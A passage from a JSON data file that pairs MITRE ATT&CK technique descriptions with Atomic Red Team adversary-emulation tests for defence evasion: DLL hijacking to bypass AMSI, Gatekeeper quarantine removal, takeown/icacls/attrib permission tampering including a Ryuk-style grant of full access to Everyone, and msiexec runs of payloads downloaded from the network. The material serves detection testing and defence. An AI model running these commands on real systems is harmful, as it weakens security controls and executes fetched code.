- "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of `.manifest` and `.local` redirection files that do not correlate with software updates are suspicious.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Module: Module Load",
- "File: File Creation",
- "File: File Modification"
- ],
- "identifier": "T1574.001"
- },
- "atomic_tests": [
- {
- "name": "DLL Search Order Hijacking - amsi.dll",
- "auto_generated_guid": "8549ad4b-b5df-4a2d-a3d7-2aee9e7052a3",
- "description": "Adversaries can take advantage of insecure library loading by PowerShell to load a vulnerable version of amsi.dll in order to bypass AMSI (Anti-Malware Scanning Interface)\nhttps://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/\n\nUpon successful execution, powershell.exe will be copied and renamed to updater.exe and load amsi.dll from a non-standard path.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "copy %windir%\\System32\\windowspowershell\\v1.0\\powershell.exe %APPDATA%\\updater.exe\ncopy %windir%\\System32\\amsi.dll %APPDATA%\\amsi.dll\n%APPDATA%\\updater.exe -Command exit\n",
- "cleanup_command": "del %APPDATA%\\updater.exe >nul 2>&1\ndel %APPDATA%\\amsi.dll >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1553.001": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e",
- "created": "2020-02-05T16:16:08.471Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1553.001",
- "url": "https://attack.mitre.org/techniques/T1553/001"
- },
- {
- "source_name": "theevilbit gatekeeper bypass 2021",
- "url": "https://theevilbit.github.io/posts/gatekeeper_not_a_bypass/",
- "description": "Csaba Fitzl. (2021, June 29). GateKeeper - Not a Bypass (Again). Retrieved September 22, 2021."
- },
- {
- "source_name": "OceanLotus for OS X",
- "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update",
- "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017."
- },
- {
- "source_name": "TheEclecticLightCompany Quarantine and the flag",
- "url": "https://eclecticlight.co/2020/10/29/quarantine-and-the-quarantine-flag/",
- "description": "hoakley. (2020, October 29). Quarantine and the quarantine flag. Retrieved September 13, 2021."
- },
- {
- "source_name": "TheEclecticLightCompany apple notarization ",
- "url": "https://eclecticlight.co/2020/08/28/how-notarization-works/",
- "description": "How Notarization Works. (2020, August 28). How notarization works. Retrieved September 13, 2021."
- },
- {
- "source_name": "Methods of Mac Malware Persistence",
- "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017."
- },
- {
- "source_name": "20 macOS Common Tools and Techniques",
- "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/",
- "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021."
- },
- {
- "source_name": "Clearing quarantine attribute",
- "url": "https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/",
- "description": "Rich Trouton. (2012, November 20). Clearing the quarantine extended attribute from downloaded applications. Retrieved July 5, 2017."
- },
- {
- "source_name": "Bypassing Gatekeeper",
- "url": "https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/",
- "description": "Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper. Retrieved July 5, 2017."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may modify file attributes that signify programs are from untrusted sources to subvert Gatekeeper controls in macOS. When documents, applications, or programs are downloaded an extended attribute (xattr) called com.apple.quarantine
can be set on the file by the application performing the download. This attribute, also known as a quarantine flag, is read by Apple's Gatekeeper defense program when the file is run and provides a prompt to the user to allow or deny execution. Gatekeeper also monitors an application's usage of dynamic libraries (dylibs) loaded outside the application folder on any quarantined binary, often using the dlopen
function. If the quarantine flag is set in macOS 10.15+, Gatekeeper also checks for a notarization ticket and sends a cryptographic hash to Apple's servers to check for validity for all unsigned executables.(Citation: TheEclecticLightCompany apple notarization )(Citation: Bypassing Gatekeeper)\n\nThe quarantine flag is an opt-in system and not imposed by macOS. If an application opts-in, a file downloaded from the Internet will be given a quarantine flag before being saved to disk. Any application or user with write permissions to the file can change or strip the quarantine flag. With elevated permission (sudo), this attribute can be removed from any file. The presence of the com.apple.quarantine
quarantine flag can be checked with the xattr command xattr -l /path/to/examplefile
. Similarly, this attribute can be recursively removed from all files in a folder using xattr, sudo xattr -d com.apple.quarantine /path/to/folder
.(Citation: 20 macOS Common Tools and Techniques)(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: theevilbit gatekeeper bypass 2021)\n\nApps and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl
command do not set this flag. Additionally, it is possible to avoid setting this flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), which may bypass Gatekeeper. (Citation: Methods of Mac Malware Persistence)(Citation: Clearing quarantine attribute)(Citation: OceanLotus for OS X)",
- "modified": "2022-05-05T04:58:34.172Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Subvert Trust Controls: Gatekeeper Bypass",
- "x_mitre_detection": "The removal of the com.apple.quarantine
flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as xattr
. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Monitor software update frameworks that strip the com.apple.quarantine
flag when performing updates. \n\nReview false
values under the LSFileQuarantineEnabled
entry in an application's Info.plist
file (required by every application). false
under LSFileQuarantineEnabled
indicates that an application does not use the quarantine flag. Unsandboxed applications with an unspecified LSFileQuarantineEnabled
entry will default to not setting the quarantine flag. \n\nQuarantineEvents is a SQLite database containing a list of all files assigned the com.apple.quarantine
attribute, located at ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2
. Each event contains the corresponding UUID, timestamp, application, Gatekeeper score, and decision if it was allowed.(Citation: TheEclecticLightCompany Quarantine and the flag)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "File: File Modification",
- "Command: Command Execution",
- "Process: Process Creation",
- "File: File Metadata"
- ],
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "Application Control"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1553.001"
- },
- "atomic_tests": []
- },
- "T1553.002": {
- "technique": {
- "x_mitre_platforms": [
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082",
- "type": "attack-pattern",
- "created": "2020-02-05T16:27:37.784Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1553.002",
- "url": "https://attack.mitre.org/techniques/T1553/002"
- },
- {
- "url": "https://en.wikipedia.org/wiki/Code_signing",
- "description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.",
- "source_name": "Wikipedia Code Signing"
- },
- {
- "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/",
- "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.",
- "source_name": "Securelist Digital Certificates"
- },
- {
- "url": "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates",
- "description": "Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.",
- "source_name": "Symantec Digital Certificates"
- }
- ],
- "modified": "2020-02-10T19:51:01.601Z",
- "name": "Code Signing",
- "description": "Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) The certificates used during an operation may be created, acquired, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates) Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001), this activity will result in a valid signature.\n\nCode signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing) \n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Metadata"
- ],
- "x_mitre_defense_bypassed": [
- "Windows User Account Control"
- ]
- },
- "atomic_tests": []
- },
- "T1222.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee",
- "type": "attack-pattern",
- "created": "2020-02-04T19:17:41.767Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1222.001",
- "url": "https://attack.mitre.org/techniques/T1222/001"
- },
- {
- "url": "https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100",
- "description": "Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.",
- "source_name": "Hybrid Analysis Icacls1 June 2018"
- },
- {
- "url": "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110",
- "description": "Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.",
- "source_name": "Hybrid Analysis Icacls2 May 2018"
- },
- {
- "url": "https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces",
- "description": "Microsoft. (2018, May 30). DACLs and ACEs. Retrieved August 19, 2018.",
- "source_name": "Microsoft DACL May 2018"
- },
- {
- "source_name": "Microsoft Access Control Lists May 2018",
- "url": "https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists",
- "description": "M. Satran, M. Jacobs. (2018, May 30). Access Control Lists. Retrieved February 4, 2020."
- },
- {
- "url": "https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/",
- "description": "Netsurion. (2014, February 19). Monitoring File Permission Changes with the Windows Security Log. Retrieved August 19, 2018.",
- "source_name": "EventTracker File Permissions Feb 2014"
- }
- ],
- "modified": "2020-09-01T20:05:05.268Z",
- "name": "File and Directory Permissions Modification: Windows File and Directory Permissions Modification",
- "description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nWindows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018)\n\nAdversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001) provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Monitor and investigate attempts to modify DACLs and file/directory ownership. Many of the commands used to modify DACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\n\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Active Directory: Active Directory Object Modification",
- "File: File Metadata",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator",
- "SYSTEM"
- ],
- "identifier": "T1222.001"
- },
- "atomic_tests": [
- {
- "name": "Take ownership using takeown utility",
- "auto_generated_guid": "98d34bb4-6e75-42ad-9c41-1dae7dc6a001",
- "description": "Modifies the filesystem permissions of the specified file or folder to take ownership of the object. Upon execution, \"SUCCESS\" will\nbe displayed for the folder and each file inside of it.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "file_folder_to_own": {
- "description": "Path of the file or folder for takeown to take ownership.",
- "type": "path",
- "default": "%temp%\\T1222.001_takeown_folder"
- }
- },
- "dependency_executor_name": "command_prompt",
- "dependencies": [
- {
- "description": "Test requrires a file to take ownership of to be located at (#{file_folder_to_own})\n",
- "prereq_command": "IF EXIST #{file_folder_to_own} ( EXIT 0 ) ELSE ( EXIT 1 )\n",
- "get_prereq_command": "mkdir #{file_folder_to_own}\necho T1222.001_takeown1 >> #{file_folder_to_own}\\T1222.001_takeown1.txt\necho T1222.001_takeown2 >> #{file_folder_to_own}\\T1222.001_takeown2.txt\n"
- }
- ],
- "executor": {
- "command": "takeown.exe /f #{file_folder_to_own} /r\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "cacls - Grant permission to specified user or group recursively",
- "auto_generated_guid": "a8206bcc-f282-40a9-a389-05d9c0263485",
- "description": "Modifies the filesystem permissions of the specified folder and contents to allow the specified user or group Full Control. If \"Access is denied\"\nis displayed it may be because the file or folder doesn't exit. Run the prereq command to create it. Upon successfull execution, \"Successfully processed 3 files\"\nwill be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "file_or_folder": {
- "description": "Path of the file or folder to change permissions.",
- "type": "path",
- "default": "%temp%\\T1222.001_cacls"
- },
- "user_or_group": {
- "description": "User or group to allow full control",
- "type": "string",
- "default": "Everyone"
- }
- },
- "dependency_executor_name": "command_prompt",
- "dependencies": [
- {
- "description": "Test requrires a file to modify to be located at (#{file_or_folder})\n",
- "prereq_command": "IF EXIST #{file_or_folder} ( EXIT 0 ) ELSE ( EXIT 1 )\n",
- "get_prereq_command": "mkdir #{file_or_folder}\necho T1222.001_cacls1 >> #{file_or_folder}\\T1222.001_cacls1.txt\necho T1222.001_cacls2 >> #{file_or_folder}\\T1222.001_cacls2.txt\n"
- }
- ],
- "executor": {
- "command": "icacls.exe #{file_or_folder} /grant #{user_or_group}:F\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "attrib - Remove read-only attribute",
- "auto_generated_guid": "bec1e95c-83aa-492e-ab77-60c71bbd21b0",
- "description": "Removes the read-only attribute from a file or folder using the attrib.exe command. Upon execution, no output will be displayed.\nOpen the file in File Explorer > Right Click - Prperties and observe that the Read Only checkbox is empty.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "file_or_folder": {
- "description": "Path of the file or folder remove attribute.",
- "type": "path",
- "default": "%temp%\\T1222.001_attrib"
- }
- },
- "dependency_executor_name": "command_prompt",
- "dependencies": [
- {
- "description": "Test requrires a file to modify to be located at (#{file_or_folder})\n",
- "prereq_command": "IF EXIST #{file_or_folder} ( EXIT 0 ) ELSE ( EXIT 1 )\n",
- "get_prereq_command": "mkdir #{file_or_folder}\necho T1222.001_attrib1 >> #{file_or_folder}\\T1222.001_attrib1.txt\necho T1222.001_attrib2 >> #{file_or_folder}\\T1222.001_attrib2.txt\nattrib.exe +r #{file_or_folder}\\T1222.001_attrib1.txt\nattrib.exe +r #{file_or_folder}\\T1222.001_attrib2.txt\n"
- }
- ],
- "executor": {
- "command": "attrib.exe -r #{file_or_folder}\\*.* /s\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "attrib - hide file",
- "auto_generated_guid": "32b979da-7b68-42c9-9a99-0e39900fc36c",
- "description": "Attackers leverage an existing Windows binary, attrib.exe, to mark specific files or folder as hidden by using specific flags so that\nthe victim does not see the file.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "file_or_folder": {
- "description": "Path of the files to hide.",
- "type": "path",
- "default": "%temp%\\T1222.001_attrib_2"
- }
- },
- "executor": {
- "command": "mkdir #{file_or_folder} >nul 2>&1\necho T1222.001_attrib1 >> #{file_or_folder}\\T1222.001_attrib1.txt\necho T1222.001_attrib2 >> #{file_or_folder}\\T1222.001_attrib2.txt\nattrib.exe +h #{file_or_folder}\\T1222.001_attrib1.txt\nattrib.exe +h #{file_or_folder}\\T1222.001_attrib2.txt\n",
- "cleanup_command": "del /A:H #{file_or_folder}\\T1222.001_attrib*.txt >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Grant Full Access to folder for Everyone - Ryuk Ransomware Style",
- "auto_generated_guid": "ac7e6118-473d-41ec-9ac0-ef4f1d1ed2f6",
- "description": "Invokes the command line similar to that used by Ryuk Ransomware to grant full access to the entire C:\\ drive for Everyone.\n**icacls \"C:\\*\" /grant Everyone:F /T /C /Q**\nHowever, for this atomic we set the permission on C:\\Users\\Public so it completes faster and doesn't irreversibly affect the host.\nYou can set your own path variable to \"C:\\*\" if you prefer.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "path": {
- "description": "Path of folder to recursively set permissions on",
- "type": "path",
- "default": "C:\\Users\\Public\\*"
- },
- "file_path": {
- "description": "Path of folder permission back",
- "type": "path",
- "default": "%temp%\\T1222.001-folder-perms-backup.txt"
- }
- },
- "dependency_executor_name": "command_prompt",
- "dependencies": [
- {
- "description": "Backup of original folder permissions should exist (for use in cleanup commands)\n",
- "prereq_command": "IF EXIST #{file_path} ( EXIT 0 ) ELSE ( EXIT 1 )\n",
- "get_prereq_command": "icacls #{path} /save #{file_path} /t /q >nul 2>&1\n"
- }
- ],
- "executor": {
- "command": "icacls \"#{path}\" /grant Everyone:F /T /C /Q",
- "cleanup_command": "icacls '#{path}' /restore #{file_path} /q >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1218.007": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Ziv Kaspersky, Cymptom",
- "Alexandros Pappas"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336",
- "created": "2020-01-24T14:38:49.266Z",
- "x_mitre_version": "2.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1218.007",
- "url": "https://attack.mitre.org/techniques/T1218/007"
- },
- {
- "source_name": "TrendMicro Msiexec Feb 2018",
- "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/",
- "description": "Co, M. and Sison, G. (2018, February 8). Attack Using Windows Installer msiexec.exe leads to LokiBot. Retrieved April 18, 2019."
- },
- {
- "source_name": "LOLBAS Msiexec",
- "url": "https://lolbas-project.github.io/lolbas/Binaries/Msiexec/",
- "description": "LOLBAS. (n.d.). Msiexec.exe. Retrieved April 18, 2019."
- },
- {
- "source_name": "Microsoft msiexec",
- "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec",
- "description": "Microsoft. (2017, October 15). msiexec. Retrieved January 24, 2020."
- },
- {
- "source_name": "Microsoft AlwaysInstallElevated 2018",
- "url": "https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated",
- "description": "Microsoft. (2018, May 31). AlwaysInstallElevated. Retrieved December 14, 2020."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft.\n\nAdversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated
policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)",
- "modified": "2022-04-19T17:33:16.346Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Signed Binary Proxy Execution: Msiexec",
- "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of msiexec.exe. Compare recent invocations of msiexec.exe with prior history of known good arguments and executed MSI files or DLLs to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of msiexec.exe may also be useful in determining the origin and purpose of the MSI files or DLLs being executed.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Network Traffic: Network Connection Creation",
- "Command: Command Execution",
- "Module: Module Load"
- ],
- "x_mitre_defense_bypassed": [
- "Digital Certificate Validation",
- "Application control"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1218.007"
- },
- "atomic_tests": [
- {
- "name": "Msiexec.exe - Execute Local MSI file with embedded JScript",
- "auto_generated_guid": "a059b6c4-e7d6-4b2e-bcd7-9b2b33191a04",
- "description": "Executes an MSI containing embedded JScript code using msiexec.exe\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "msi_payload": {
- "description": "MSI file to execute",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_JScript.msi"
- },
- "msi_exe": {
- "description": "MSIExec File Path",
- "type": "path",
- "default": "c:\\windows\\system32\\msiexec.exe"
- },
- "action": {
- "description": "Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types.\n",
- "type": "string",
- "default": "i"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "The MSI file must exist on disk at specified location (#{msi_payload})\n",
- "prereq_command": "if (Test-Path #{msi_payload}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{msi_payload}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_JScript.msi\" -OutFile \"#{msi_payload}\"\n"
- }
- ],
- "executor": {
- "command": "#{msi_exe} /q /#{action} \"#{msi_payload}\"\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Msiexec.exe - Execute Local MSI file with embedded VBScript",
- "auto_generated_guid": "8d73c7b0-c2b1-4ac1-881a-4aa644f76064",
- "description": "Executes an MSI containing embedded VBScript code using msiexec.exe\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "msi_payload": {
- "description": "MSI file to execute",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_VBScript.msi"
- },
- "msi_exe": {
- "description": "MSIExec File Path",
- "type": "path",
- "default": "c:\\windows\\system32\\msiexec.exe"
- },
- "action": {
- "description": "Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types.\n",
- "type": "string",
- "default": "i"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "The MSI file must exist on disk at specified location (#{msi_payload})\n",
- "prereq_command": "if (Test-Path #{msi_payload}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{msi_payload}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_VBScript.msi\" -OutFile \"#{msi_payload}\"\n"
- }
- ],
- "executor": {
- "command": "#{msi_exe} /q /#{action} \"#{msi_payload}\"\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Msiexec.exe - Execute Local MSI file with an embedded DLL",
- "auto_generated_guid": "628fa796-76c5-44c3-93aa-b9d8214fd568",
- "description": "Executes an MSI containing an embedded DLL using msiexec.exe\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "msi_payload": {
- "description": "MSI file to execute",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_DLL.msi"
- },
- "msi_exe": {
- "description": "MSIExec File Path",
- "type": "path",
- "default": "c:\\windows\\system32\\msiexec.exe"
- },
- "action": {
- "description": "Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types.\n",
- "type": "string",
- "default": "i"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "The MSI file must exist on disk at specified location (#{msi_payload})\n",
- "prereq_command": "if (Test-Path #{msi_payload}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{msi_payload}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_DLL.msi\" -OutFile \"#{msi_payload}\"\n"
- }
- ],
- "executor": {
- "command": "#{msi_exe} /q /#{action} \"#{msi_payload}\"\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Msiexec.exe - Execute Local MSI file with an embedded EXE",
- "auto_generated_guid": "ed3fa08a-ca18-4009-973e-03d13014d0e8",
- "description": "Executes an MSI containing an embedded EXE using msiexec.exe\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "msi_payload": {
- "description": "MSI file to execute",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_EXE.msi"
- },
- "msi_exe": {
- "description": "MSIExec File Path",
- "type": "path",
- "default": "c:\\windows\\system32\\msiexec.exe"
- },
- "action": {
- "description": "Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types.\n",
- "type": "string",
- "default": "i"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "The MSI file must exist on disk at specified location (#{msi_payload})\n",
- "prereq_command": "if (Test-Path #{msi_payload}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{msi_payload}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_EXE.msi\" -OutFile \"#{msi_payload}\"\n"
- }
- ],
- "executor": {
- "command": "#{msi_exe} /q /#{action} \"#{msi_payload}\"\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "WMI Win32_Product Class - Execute Local MSI file with embedded JScript",
- "auto_generated_guid": "882082f0-27c6-4eec-a43c-9aa80bccdb30",
- "description": "Executes an MSI containing embedded JScript code using the WMI Win32_Product class\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "msi_payload": {
- "description": "MSI file to execute",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_JScript.msi"
- },
- "action": {
- "description": "Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to support all three action types.\n",
- "type": "string",
- "default": "Install"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
